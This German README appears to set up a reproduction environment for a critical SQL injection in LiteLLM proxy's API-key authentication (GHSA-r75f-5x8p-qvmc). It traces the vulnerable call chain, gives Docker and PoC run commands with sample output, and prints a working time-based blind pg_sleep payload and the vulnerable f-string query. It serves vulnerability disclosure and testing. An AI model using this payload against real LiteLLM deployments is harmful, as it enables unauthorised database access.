
Reproduktionsumgebung für eine kritische SQL-Injection in der API-Key-Authentifizierung des LiteLLM-Proxys, mit einem zeitbasierten Blind-PoC und Docker-Setup zum Testen.
| Element | Detail |
|---|
| Advisory | GHSA-r75f-5x8p-qvmc |
| Typ | SQL-Injection (CWE-89) |
| Schweregrad | Kritisch |
| Betroffen | litellm >=1.81.16, <1.83.7 |
| Behoben | litellm >=1.83.7 (Commit 4dc416ee74) |
Die Injection erfolgt im Fehlerbehandlungs-Callback-Pfad, nicht im Hauptauthentifizierungsablauf. Wenn ein Token ohne sk--Präfix gesendet wird, schlägt die Assertion fehl und das rohe (ungehashte) Token fließt durch die Fehler-Callback-Kette in eine SQL-Abfrage, die f-String-Interpolation verwendet:
HTTP-Anfrage: Authorization: Bearer <payload>
→ assert api_key.startswith("sk-") schlägt fehl
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← INJECTION
Der Hauptauthentifizierungspfad mit sk- ist nicht ausnutzbar, da Tokens vor Erreichen der Abfrage SHA256-gehasht werden, wodurch nur [0-9a-f]-Zeichen entstehen.
docker compose up -d
Dies startet LiteLLM Proxy (v1.83.3-stable) mit einem PostgreSQL-Backend.
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║
║ Affected: litellm >=1.81.16, <1.83.7 ║
║ Attack: time-based blind via error-handling callback ║
╚═══════════════════════════════════════════════════════════╝
[*] Checking target: http://localhost:4000
[+] Target alive (status 200)
[*] Measuring baseline (3 requests)...
Baseline avg: 0.022s
[*] Control: non-sk- token without pg_sleep...
Control: 0.024s
=======================================================
Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Response: 5.018s
[+] VULNERABLE! pg_sleep(5) confirmed


Die pg_sleep()-Funktion von PostgreSQL gibt void zurück, das nicht in einem booleschen Kontext (OR) erscheinen kann. Der Payload umschließt sie in einer Unterabfrage, um den Typfehler zu vermeiden:
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
Dies wird in die combined_view-Abfrage in litellm/proxy/utils.py injiziert:
# Verwundbarer Code (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← f-String-Interpolation von Benutzereingaben
"""